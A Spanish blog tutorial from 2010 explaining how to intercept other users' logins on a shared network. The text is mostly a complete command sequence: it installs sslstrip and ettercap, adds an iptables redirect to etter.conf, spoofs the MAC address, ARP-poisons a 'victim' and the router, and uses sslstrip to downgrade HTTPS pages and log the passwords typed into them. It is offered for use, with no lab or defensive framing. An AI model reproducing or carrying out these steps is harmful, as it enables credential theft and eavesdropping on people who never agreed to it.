viernes, 19 de noviembre de 2010

Como extraer correctamente información de un cliente conectado a un router Usando UBUNTU


Este tutorial se concentrará en la suplantación de paginas web seguras para convertirlas en no seguras, es decir pasar de "https" a "http"

Al contrario que muchos internautas, yo soy de los que opinan que las paginas SSL son seguras,(de momento) el problema no es la encriptación, si no la poca atención por parte de los usuarios de preocuparse de ver si la página en la que están escribiendo o introduciendo datos es segura o no.

Todo el tutorial esta rodado en una maquina con linux. En concreto la distro de Ubuntu 10.04

Los programas que usaremos son ettercap y sslstrip:

¿Que por qué no usar solo ettercap si ya este tiene su propio Plugin para manipular paginas web https y pasárselas al cliente?

Pues muy sencillo porque normalmente los navegadores como mozilla montan un circo para avisar al usuario de que la pagina que visitan no es totalmente segura, que si que si, que tiene su certificado en regla y sin caducar, que es conocido peeeeeeero, no se está totalmente seguro de su procedencia.
En este caso es el usuario el que debe elegir si aceptar el certificado sospechoso y morder el anzuelo, o no hacerlo.

La verdad, si usa mozilla, dudo que lo haga, si usa explorer.... tal vez, porque el aviso de explorer no es tan impactante y parece mas bien una más de sus
ventanas de aviso como las de (¡cuando manda información a Internet esta podría ser vista por otras personas!)

Por todo eso utilizaremos sslstrip, que básicamente lo que hace es escuchar un puerto por el que se comunica un cliente al que se le este haciendo un ataque ARP Poison y controlar su tráfico, cuando encuentra una web en https la intercepta, la cambia a http y la devuelve al cliente. De esta manera, el cliente tras solicitar acceso a una web segura, lo que obtendrá es una web no segura, eso sí, con su candadito para que parezca que sí lo es.

Bueno, vamos al lío:

Sslstrip está escrito en Python y es necesario tenerlo instalado en la máquina en la que se ejecute para que pueda funcionar, así que si tu distro no lo posée ya instalado, te lo puedes instalar mediante repositorios.

Código:

scorpyo@PCito:~$ sudo apt-get install python


Para instalar sslstrip creo que no aparece en los repositorios, así que googlea y descargarlo.

Descomprimirlo y hacer un "cd" a la carpeta donde esté descomprimido.

Código:

scorpyo@PCito:~$ tar zxvf sslstrip-0.7.tar.gz
scorpyo@PCito:~$ cd sslstrip-0.7

Este programa se puede correr sin istalarlo pero recomiendo su instalacion porque es mucho mas sencillo de tipear, y ademas si no lo instalas tienes que estar en la misma carpeta donde se encuentra para ejecutarlo.

Para instalarlo usar la manera siguiente:

scorpyo@PCito:~$ sudo python setup.py install

De esta manera no habrá que abrirlo con el comando python nunca más.

De acuerdo, ya que tenemos listo nuestro sslstrip vamos con ettercap...

Primero descargaremos ettercap y lo instalaremos, dicen que si lo haces mediante repositorios no se instalan todos los plugins pero la verdad, yo lo hice mediante repositorios y me funcionó:

Código:

scorpyo@PCito:~$ sudo apt-get install ettercap

Ahora viene una parte que yo me he inventado para hacer menos problemático el uso de estos dos programas a la vez.

Puesto que sslstrip usa iptables y hay que configurarlas antes de lanzar el ataque pues lo que hacemos es modificar el etter.conf para que haga ese trabajo por nosotros ;)

Para que ettercap trabaje conjuntamente con sslstrip hacer lo siguiente:

Modificar el archivo etter.conf que se encuentra en /etc/etter.conf, hacedlo así y como root:

Código:

scorpyo@PCito:~$ sudo gedit /etc/etter.conf

Modificar y volver a comentar las lineas (si estan descomentadas) de iptable y ahora crear una nueva para redirecconar al puerto por defecto de sslstrip, para que lo veáis mejor y lo comprendáis pondré el fragmento del archivo que queda modificado:

Nota: Una linea comentada es la que tiene el símbolo "#" al principio. Si está comenteada (tiene almoadilla al principio) el sistema la ignora.
Original:

#---------------
# Linux
#---------------

# if you use ipchains:
#redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"
#redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"

# if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"




Modificado:

#---------------
# Linux
#---------------

# if you use ipchains:
#redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"
#redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"

# if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

# Si usas modificacion de iptables para sslstrip descomenta esta linea:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --destination-port 80 -j REDIRECT --to-port 10000"




la linea ya viene descomentada, así que solo pegarla y listo.

Bien, ahora que ya tienes ettercap listo vamos a preparar nuestra tarjeta. Para los que no tienen aplicación para conectarse a una red de forma gráfica que no se preocupen, pongo todo el código que hay que escribir para conectarse a un AP (Punto de Acceso):

Nota: Donde yo he puesto “wlan0” vosotros poner la tarjeta que esteis usando, ejemplo eth0 o wlan1....


Entrar como root:

Nota: Con este comando ya no tendrás que ponerte en modo root más a no ser que cierres la ventana ;)

scorpyo@PCcito:~$ sudo -s


Desactivo la tarjeta que voy a usar para cambiarle la MAC y ponerla en modo Promiscuo:

root@PCcito:~# ifconfig wlan0 down

root@PCcito:~# macchanger -m 00:11:22:33:44:55 wlan0

Current MAC: 00:12:34:56:78:90 (unknown)
Faked MAC: 00:11:22:33:44:55 (Cimsys Inc)

root@PCcito:~# ifconfig wlan0 promisc

root@PCcito:~# ifconfig wlan0

wlan0 Link encap:Ethernet direcciónHW 00:11:22:33:44:55
DIFUSIÓN SINAVANCES PROMISCUO ALLMULTI MTU:1500 Métrica:1
Paquetes RX:0 errores:0 perdidos:0 overruns:0 frame:0
Paquetes TX:0 errores:0 perdidos:0 overruns:0 carrier:0
colisiones:0 long.colaTX:1000
Bytes RX:0 (0 KB) TX bytes: (0 KB)
Interrupción:17 Memoria:f83d8000-f83d8100

root@PCcito:~# ifconfig wlan0 up

Ahora busco donde conectarme mediante consola (el que tenga modo gráfico que lo haga como quiera):

root@PCcito:~# iwlist wlan0 scanning

Y ahora me conecto por ejemplo con el ESSID Router1 con la clave hexadecimal 25:d2:45:89:74 (Evidentemente la clave de la red a la que te conectes tienes que saberla... jejeje)

root@PCcito:~# iwconfig wlan0 essid Router1

root@PCcito:~# iwconfig wlan0 key 25:d2:45:89:74

Nota: si la clave es en texto normal pues tendras que poner "s:" despues del comando key sería así: (root@PCcito:~# iwconfig wlan0 key s:25:d2:45:89:74)

Si es necesario se rellena el campo AP (Access Point) si no se hizo automáticamente, lo hacemos así:

root@PCcito:~# iwconfig wlan0 ap 00:02:51:24:46:e4

Listo, ahora que tenemos rellenos todo los datos correctamente solicitamos la conexión así para que se nos asigne una ip y una puerta de enlace:

root@PCcito:~# dhcpclient wlan0

Si todo ha salido bién, pondrá que la conexión está hecha y que es válida durante xxxxxxx segundos

Bién, ya puedo abrir el ettercap en modo Curse:

root@PCcito:~# ettercap -C -i wlan0

Ahora que está abierto vamos a “Sniff” y elegimos “Unified sniffing... U”

Aquí, debería de salir nuestra tarjeta ya introducida, pero si no es correcta porque nos equivocamos en el comando se puede cambiar directamente escribiendo y dandole al enter.



Ahora, lo que haremos es escanear los host, le damos a “Host” y a “Scan for hots” una vez hecho, volvemos a darle a “Host” y a “Host list” para ver la lista.

Llegado este punto, tenemos dos opciones, atacar toda la red, o solo a un equipo, si lo que queremos es atacar toda la red nos saltaremos este paso:

Primero selecciono el Host victima y apretamos el número 1 de nuestro teclado, y luego el Router y apretamos el 2 y quedaría algo así:

Target1: Equipo1
Target2: Router

Nota: Normalmente el router es el que tiene una ip más baja, una muy común es la 192.168.1.1 o 192.168.0.1

Ahora, lo que haremos será ponerlo a Snifar dandole a “Start” y a “Start sniffing” y luego hacemos el ataque ARP Poison (Envenenamiento ARP) pinchamos en “Mitm” y a “ARP pisoning...” en la ventana que nos sale ponemos "remote" sin las comillas y le damos al enter

Ahora correremos sslstrip:

Abrir una terminal nueva, para los que lo tienen instalado tan solo escribir en modo root:

root@PCcito:~# sslstrip -w captura-ssl -s -k -f &
root@PCcito:~# tail -f captura-ssl


Para los que no lo instalaron deberán de ir a la carpeta donde se descomprimió y escribir:

root@PCcito:~# python sslstrip-py -w captura-ssl -s -k -f &
root@PCcito:~# tail -f captura-ssl

Listo!

Ya están los dos programas trabajando conjuntamente.

Por alguna extraña razón, a mi no me aparecen en la ventana de ettercap las contraseñas y usuarios que se introducen en las paginas modificadas por sslstrip así que yo, por lo menos dependo de ejecutar el comando "tail -f captura-sslstrip" para ver el archivo en tiempo real y esperar a ver que entre texto.

Si puedes ver las contraseñas en ettercap, omite el ultimo comando para no tener que buscar el nombre y la contraseña entre tanto texto. ;) eso es todo.

PD: Solo un concejo, para terminar la escucha de sslstrip apretar Ctrl+c y para parar a ettercap primero pinchamos en “Mitm” luego en "Stop mitm attacks(s)" si no hacéis eso al cerrar el programa las víctimas perderán la conexión a internet puesto que TÚ eres su router mientras este activo el ataque mitm, jejeje pues eso.

Espero que os sirva.

Mis agradecimientos a la web http://www.lapipaplena.com donde me ayudaron a iniciarme con todo esto y en especial a Pep al que no he parado de contar mis avances.

3 comentarios:

  1. No os vayáis sin hechar de comer a mis peces!! que yo estoy muy liado!

    Probad haciendo CLICK en la imagen y verás como comen!

    ResponderEliminar
  2. Interesante aporte.
    Les ECHO de comer a los peces (http://buscon.rae.es/draeI/SrvltObtenerHtml?LEMA=echar&SUPIND=1&CAREXT=10000&NEDIC=No) pero ten cuidado que los peces se terminan comiendo todo lo que le eches, y se te pueden poner muy gordos.
    Saludos!

    ResponderEliminar

Deja aquí tu mensaje...